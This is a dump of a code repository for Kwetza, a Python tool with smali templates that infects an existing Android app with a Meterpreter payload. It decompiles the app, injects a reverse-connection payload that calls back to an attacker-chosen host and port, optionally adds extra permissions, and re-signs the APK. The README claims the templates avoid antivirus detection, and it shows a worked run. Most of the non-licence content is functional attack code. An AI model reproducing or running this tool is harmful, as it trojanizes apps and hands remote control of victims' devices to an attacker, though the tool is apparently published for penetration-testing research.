├── LICENSE ├── README.md ├── kwetza.py └── payload ├── AssistActivity.smali ├── AssistActivity1.smali ├── HttpsActivity.smali ├── HttpsActivity1.smali ├── PayloadTrustManager.smali └── mykey.keystore /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | {description} 294 | Copyright (C) {year} {fullname} 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | {signature of Ty Coon}, 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | 341 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | [![Arsenal](https://rawgit.com/toolswatch/badges/master/arsenal/2017.svg)](http://www.toolswatch.org/2017/06/the-black-hat-arsenal-usa-2017-phenomenal-line-up-announced/) 3 | 4 | By Chris Le Roy (@brompwnie) chris@sensepost.com 5 | 6 | Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload. 7 | 8 | # What does it do? 9 | 10 | Kwetza infects an existing Android application with either custom or default payload templates to avoid detection by antivirus. Kwetza allows you to infect Android applications using the target application's default permissions or inject additional permissions to gain additional functionality. 11 | 12 | # Where can I get the blogpost? 13 | The manual steps automated by Kwetza can be found here: https://sensepost.com/blog/2016/kwetza-infecting-android-applications/ 14 | 15 | # Getting the code 16 | 17 | Firstly get the code: 18 | ``` 19 | git clone https://github.com/sensepost/kwetza.git 20 | ``` 21 | 22 | Kwetza is written in Python and requires BeautifulSoup which can be installed using Pip: 23 | ``` 24 | pip install beautifulsoup4 25 | ``` 26 | Kwetza requires Apktool to be install and accessible via your PATH. This can be setup using the install instructions located here: https://ibotpeaches.github.io/Apktool/install 27 | 28 | # Usage 29 | 30 | python kwetza.py nameOfTheApkToInfect.apk https/tcp LHOST LPORT yes/no customClass 31 | 32 | * nameOfTheApkToInfect.apk = name of the APK you wish to infect. 33 | * https/tcp = select either a HTTPS or TCP connection 34 | * LHOST = IP of your listener. 35 | * LPORT = Port of your listener. 36 | * yes = include "yes" to inject additional evil perms into the app, "no" to utilize the default permissions of the app. 37 | * customClass = Specify a custom activity here if you want Kwetza to inject into this activity. 38 | 39 | ``` 40 | python kwetza.py hackme.apk https 10.42.0.118 4444 yes com.moo.another.activity 41 | [+] MMMMMM KWETZA 42 | [*] DECOMPILING TARGET APK 43 | [+] ENDPOINT IP: 10.42.0.118 44 | [+] ENDPOINT PORT: 4444 45 | [+] APKTOOL DECOMPILED SUCCESS 46 | [*] BYTING COMMS... 47 | [*] ANALYZING ANDROID MANIFEST... 48 | [+] TARGET ACTIVITY: com.foo.moo.gui.MainActivity 49 | [*] INJECTION INTO APK 50 | [+] CHECKING IF ADDITIONAL PERMS TO BE ADDED 51 | [*] INJECTION OF CRAZY PERMS TO BE DONE! 52 | [+] TIME TO BUILD INFECTED APK 53 | [*] EXECUTING APKTOOL BUILD COMMAND 54 | [+] BUILD RESULT 55 | ############################################ 56 | I: Using APktool 2.2.0 57 | I: Checking whether source shas changed... 58 | I: Smaling smali folder into classes.dex 59 | I: Checking whether resources has changed... 60 | I: Building resources... 61 | I: Copying libs ...(/lib) 62 | I: Building apk file... 63 | I: Copying unknown files/dir... 64 | ########################################### 65 | [*] EXECUTING JARSIGNER COMMAND... 66 | Enter Passphrase for keystore: password 67 | [+] JARSIGNER RESULT 68 | ########################################### 69 | jar signed. 70 | 71 | ########################################### 72 | 73 | [+] L00t located at hackme/dist/hackme.apk 74 | ``` 75 | 76 | 77 | # Information 78 | 79 | Kwetza has been developed to work with Python 2. 80 | 81 | Kwetza by default will use the template and keystore located in the folder "payload" to inject and sign the infected apk. 82 | 83 | If you would like to sign the infected application with your own certificate, generate a new keystore and place it in the "payload" folder and rename to the existing keystore or change the reference in the kwetza.py. 84 | 85 | The same can be done for payload templates. 86 | 87 | The password for the default keystore is, well, "password". 88 | 89 | # License 90 | 91 | Kwetza is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0). 92 | 93 | Permissions beyond the scope of this license may be available at http://sensepost.com/contact 94 | -------------------------------------------------------------------------------- /kwetza.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/pyton 2 | import subprocess 3 | import sys 4 | import os 5 | from bs4 import BeautifulSoup as Soup 6 | 7 | activityToTarget="" 8 | targetFolder="" 9 | endpointIP="" 10 | endpointPort="" 11 | hexEndpoint="" 12 | facepalm="" 13 | cwd="" 14 | httpsComms=0 15 | 16 | def byteTheTCPComms(): 17 | print "[*] BYTING TCP COMMS" 18 | totalEndpointPlain="ZZZZtcp://"+endpointIP+":"+endpointPort 19 | endpointLength=len(totalEndpointPlain) 20 | global facepalm 21 | global httpsComms 22 | httpsComms=0 23 | facepalm=hex(endpointLength) 24 | global hexEndpoint 25 | for val in totalEndpointPlain: 26 | hexEndpoint+=hex(ord(val))+"\n\t\t" 27 | 28 | def byteTheHTTPSComms(): 29 | print "[*] BYTING HTTPS COMMS" 30 | global httpsComms 31 | httpsComms=1 32 | totalEndpointPlain="ZZZZhttps://"+endpointIP+":"+endpointPort+"/qFTHTkSl1FhadlllA0gBcg882wlHLDmhMn6j1_ykMcArMkXkE-KOQ3RV-W7JtI5nf7x65a3fwcwgLEPvnCgmeb2f0m-VVEm_qAMZzFhGdNn8F46OtF_FJAP1b1AjG5x8X-GGH-rekgabzOzEMkQkgqYuUl" 33 | endpointLength=len(totalEndpointPlain) 34 | global facepalm 35 | facepalm=hex(endpointLength) 36 | global hexEndpoint 37 | for val in totalEndpointPlain: 38 | hexEndpoint+=hex(ord(val))+"\n\t\t" 39 | 40 | def initialize(): 41 | print "[*] DECOMPILING TARGET APK" 42 | command = ["apktool", "--version"] 43 | p = subprocess.Popen(command, stdout=subprocess.PIPE) 44 | theResult = p.communicate()[0] 45 | 46 | global endpointPort 47 | global endpointIP 48 | endpointIP=sys.argv[3] 49 | endpointPort=sys.argv[4] 50 | global cwd 51 | 52 | print "[+] ENDPOINT IP: "+endpointIP 53 | print "[+] ENDPOINT PORT: "+endpointPort 54 | 55 | #CHECK IF APKTOOL IS INSTALLED 56 | if "2." not in theResult: 57 | print "[+] NO APKTOOL VERSION 2, PLEASE INSTALL APKTOOL 2 AND ADD TO PATH" 58 | sys.exit() 59 | 60 | cwd = os.getcwd() 61 | 62 | #NOW WE NEED TO DECOMPILE THE APPLICATION 63 | command = ["apktool", "d","-f","-r", ""+cwd+"/"+sys.argv[1]] 64 | p = subprocess.Popen(command, stdout=subprocess.PIPE) 65 | result = p.communicate()[0] 66 | 67 | if "error" in result: 68 | print "[+] APKTOOL DECOMPILE ERROR: ",result 69 | else: 70 | print "[+] APKTOOL DECOMPILED SUCCESS" 71 | #NOW WE SET THE TARGET FOLDER 72 | outputFolderName=sys.argv[1] 73 | intPoss=outputFolderName.index(".") 74 | global targetFolder 75 | targetFolder=cwd+"/"+outputFolderName[:intPoss] 76 | 77 | def parseAndroidManifest(): 78 | print "[*] ANALYZING ANDROID MANIFEST" 79 | if len(sys.argv) <= 6: 80 | global targetFolder 81 | file = targetFolder+"/AndroidManifest.xml" 82 | print "[DEBUG] Attempting to find MAIN" 83 | handler = open(file).read() 84 | soup = Soup(handler,"lxml") 85 | activities = soup.find_all('activity-alias') 86 | activities+=soup.find_all('activity') 87 | foundLAUNCHER=0 88 | for activity in activities: 89 | if "LAUNCHER" in str(activity): 90 | foundLAUNCHER=1 91 | global activityToTarget 92 | if "android:targetactivity" in str(activity).lower(): 93 | activityToTarget= str(activity['android:targetactivity']) 94 | elif "android:name" in str(activity).lower(): 95 | activityToTarget= str(activity['android:name']) 96 | else: 97 | print "[+] ERROR IDENTIFYING TARGET ACTIVITY" 98 | if foundLAUNCHER==1: 99 | print "[+] TARGET ACTIVIY: "+activityToTarget 100 | else: 101 | print "[+] NO LAUNCHER FOUND, PLEASE SPECIFY A TARGET CLASS" 102 | sys.exit() 103 | else: 104 | print "[*] USING CUSTOM ACTIVITY: "+sys.argv[6] 105 | activityToTarget=sys.argv[6] 106 | 107 | def readPayloads(): 108 | print "[*] PREPARING PAYLOADS" 109 | global cwd 110 | 111 | if httpsComms==1: 112 | pathToPalyoad1=cwd+"/"+"payload/HttpsActivity1.smali" 113 | pathToPalyoad2=cwd+"/"+"payload/HttpsActivity.smali" 114 | pathToPalyoad3=cwd+"/"+"payload/PayloadTrustManager.smali" 115 | contentsOfFile1 = open(pathToPalyoad1).read() 116 | contentsOfFile2 = open(pathToPalyoad2).read() 117 | contentsOfFile3 = open(pathToPalyoad3).read() 118 | 119 | inject="L"+activityToTarget.replace('.','/') 120 | intPackagePos=inject.rfind('/') 121 | 122 | moo=inject[:intPackagePos] 123 | packageNewName =moo.replace('/','.').replace('L','') 124 | finalPackageNewName=packageNewName+".PayloadTrustManager" 125 | 126 | preppedContents1= contentsOfFile1.replace('PLACEHOLDER',inject[:intPackagePos]) 127 | preppedContents2= contentsOfFile2.replace('PLACEHOLDER',inject[:intPackagePos]).replace('OILYOLO',finalPackageNewName) 128 | preppedContents3= contentsOfFile3.replace('PLACEHOLDER',inject[:intPackagePos]) 129 | 130 | #inject the tcp endpoint here 131 | preppedContents2=preppedContents2.replace('IP_ADDR',endpointIP) 132 | preppedContents2= preppedContents2.replace('END_PORT',endpointPort) 133 | 134 | targetDirectory=targetFolder+"/smali/"+activityToTarget.replace('.','/') 135 | targetDirectory=targetDirectory[:targetDirectory.rfind('/')] 136 | 137 | assist1File = open(targetDirectory+"/HttpsActivity1.smali", "w") 138 | assist1File.write(preppedContents1) 139 | assist1File.close() 140 | 141 | assist2File = open(targetDirectory+"/HttpsActivity.smali", "w") 142 | assist2File.write(preppedContents2) 143 | assist2File.close() 144 | 145 | assist3File = open(targetDirectory+"/PayloadTrustManager.smali", "w") 146 | assist3File.write(preppedContents3) 147 | assist3File.close() 148 | 149 | pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali' 150 | stringContentsOfTargetActivity="" 151 | stringContentsOfTargetActivity = open(pathToFile).read() 152 | else: 153 | pathToPalyoad1=cwd+"/"+"payload/AssistActivity1.smali" 154 | pathToPalyoad12=cwd+"/"+"payload/AssistActivity.smali" 155 | contentsOfFile1 = open(pathToPalyoad1).read() 156 | contentsOfFile2 = open(pathToPalyoad12).read() 157 | inject="L"+activityToTarget.replace('.','/') 158 | intPackagePos=inject.rfind('/') 159 | preppedContents1= contentsOfFile1.replace('PLACEHOLDER',inject[:intPackagePos]) 160 | preppedContents2= contentsOfFile2.replace('PLACEHOLDER',inject[:intPackagePos]) 161 | #inject the tcp endpoint here 162 | preppedContents2= preppedContents2.replace('FACEPALM',facepalm) 163 | preppedContents2= preppedContents2.replace('BEARDEDGREATNESS',hexEndpoint) 164 | targetDirectory=targetFolder+"/smali/"+activityToTarget.replace('.','/') 165 | targetDirectory=targetDirectory[:targetDirectory.rfind('/')] 166 | 167 | assist1File = open(targetDirectory+"/AssistActivity1.smali", "w") 168 | assist1File.write(preppedContents1) 169 | assist1File.close() 170 | 171 | assist2File = open(targetDirectory+"/AssistActivity.smali", "w") 172 | assist2File.write(preppedContents2) 173 | assist2File.close() 174 | 175 | pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali' 176 | stringContentsOfTargetActivity="" 177 | stringContentsOfTargetActivity = open(pathToFile).read() 178 | 179 | def injectIntoActivity(): 180 | print "[*] INJECTING INTO APK" 181 | global targetFolder 182 | checkStrings=['create','method'] 183 | stringInvokePayload="" 184 | 185 | pathToFile=targetFolder+"/smali/"+activityToTarget.replace('.','/')+'.smali' 186 | if httpsComms==1: 187 | stringInvokePayload='\ninvoke-static {p0}, INJECT/HttpsActivity;->start(Landroid/content/Context;)V\n' 188 | else: 189 | stringInvokePayload='\ninvoke-static {p0}, INJECT/AssistActivity;->doThis(Landroid/content/Context;)V\n' 190 | 191 | #NOW WE NEED TO INJECT THE CALLING CODE INTO THE TARGET ACTIVITY 192 | inject="L"+activityToTarget.replace('.','/') 193 | intPackagePos=inject.rfind('/') 194 | stringPackageToInject=inject[:intPackagePos] 195 | stringInvokePayload=stringInvokePayload.replace('INJECT',stringPackageToInject); 196 | f = open(pathToFile,'r') 197 | stringDataToWriteIntoNewActivity="" 198 | for line in f.readlines(): 199 | stringDataToWriteIntoNewActivity+=line 200 | if all(x in line.lower() for x in checkStrings): 201 | stringDataToWriteIntoNewActivity+=stringInvokePayload 202 | f.close() 203 | newInjectFile = open(pathToFile, "w") 204 | newInjectFile.write(stringDataToWriteIntoNewActivity) 205 | newInjectFile.close() 206 | 207 | def buildAgain(): 208 | print "[+] TIME TO BUILD INFECTED APK..." 209 | #name of the APK we are targeting 210 | stringNameOfAPK=sys.argv[1] 211 | #the path to our freshly built apk 212 | pathToNewApk=targetFolder+"/dist/"+stringNameOfAPK 213 | #the apktool command to rebuild our target app 214 | stringApkToolBuildCommand= ["apktool","b",targetFolder] 215 | #jarsigner command to sign our freshly built apk 216 | stringJarSignerCommand=["jarsigner", "-keystore", cwd+"/"+"payload/mykey.keystore", pathToNewApk, "alias_name", "-sigalg", "MD5withRSA", "-digestalg", "SHA1"] 217 | #time to execute the build command 218 | print "[*] EXECUTING APKTOOL BUILD COMMAND..." 219 | p = subprocess.Popen(stringApkToolBuildCommand, stdout=subprocess.PIPE) 220 | buildResult = p.communicate()[0] 221 | print "[+] BUILD RESULT" 222 | print "#####################################" 223 | print buildResult 224 | print "#####################################" 225 | #time to execute the jarsigner command 226 | print "[*] EXECUTING JARSIGNER COMMAND..." 227 | p = subprocess.Popen(stringJarSignerCommand, stdout=subprocess.PIPE) 228 | jarsignerResult = p.communicate()[0] 229 | print "[+] JARSIGNER RESULT" 230 | print "#####################################" 231 | print jarsignerResult 232 | print "#####################################" 233 | print "\n[+] L00t located at "+targetFolder+"/dist/"+sys.argv[1] 234 | 235 | def injectCrazyPermissions(): 236 | print "[+] CHECKING IF ADDITIONAL PERMS TO BE ADDED" 237 | 238 | if "yes" in sys.argv[5]: 239 | print "[*] INJECTION OF CRAZY PERMISSIONS TO BE DONE!" 240 | stringCrazyPermissions='\n' 241 | stringCrazyPermissions+='\n' 242 | stringCrazyPermissions+='\n' 243 | stringCrazyPermissions+='\n' 244 | stringCrazyPermissions+='\n' 245 | stringCrazyPermissions+='\n' 246 | stringCrazyPermissions+='\n' 247 | stringCrazyPermissions+='\n' 248 | stringCrazyPermissions+='\n' 249 | stringCrazyPermissions+='\n' 250 | stringCrazyPermissions+='\n' 251 | stringCrazyPermissions+='\n' 252 | stringCrazyPermissions+='\n' 253 | stringCrazyPermissions+='\n' 254 | stringCrazyPermissions+='\n' 255 | stringCrazyPermissions+='\n"\n' 256 | 257 | global targetFolder 258 | checkString="()V 24 | .locals 1 25 | 26 | .prologue 27 | .line 19 28 | const/16 v0, FACEPALM 29 | 30 | new-array v0, v0, [B 31 | 32 | fill-array-data v0, :array_0 33 | 34 | sput-object v0, PLACEHOLDER/AssistActivity;->array:[B 35 | 36 | .line 21 37 | const/16 v0, 0x16 38 | 39 | new-array v0, v0, [B 40 | 41 | fill-array-data v0, :array_1 42 | 43 | sput-object v0, PLACEHOLDER/AssistActivity;->tArr:[B 44 | 45 | return-void 46 | 47 | .line 19 48 | nop 49 | 50 | :array_0 51 | .array-data 1 52 | BEARDEDGREATNESS 53 | .end array-data 54 | 55 | .line 21 56 | nop 57 | 58 | :array_1 59 | .array-data 1 60 | 0x54t 61 | 0x54t 62 | 0x54t 63 | 0x54t 64 | 0x36t 65 | 0x30t 66 | 0x34t 67 | 0x38t 68 | 0x30t 69 | 0x30t 70 | 0x2dt 71 | 0x33t 72 | 0x30t 73 | 0x30t 74 | 0x2dt 75 | 0x33t 76 | 0x36t 77 | 0x30t 78 | 0x30t 79 | 0x2dt 80 | 0x31t 81 | 0x30t 82 | .end array-data 83 | .end method 84 | 85 | .method public constructor ()V 86 | .locals 0 87 | 88 | .prologue 89 | .line 17 90 | invoke-direct {p0}, Ljava/lang/Object;->()V 91 | 92 | return-void 93 | .end method 94 | 95 | .method public static doThis(Landroid/content/Context;)V 96 | .locals 1 97 | .param p0, "context" # Landroid/content/Context; 98 | 99 | .prologue 100 | .line 30 101 | invoke-virtual {p0}, Landroid/content/Context;->getFilesDir()Ljava/io/File; 102 | 103 | move-result-object v0 104 | 105 | invoke-virtual {v0}, Ljava/io/File;->toString()Ljava/lang/String; 106 | 107 | move-result-object v0 108 | 109 | invoke-static {v0},PLACEHOLDER/AssistActivity;->pathToStartIn(Ljava/lang/String;)V 110 | 111 | .line 31 112 | return-void 113 | .end method 114 | 115 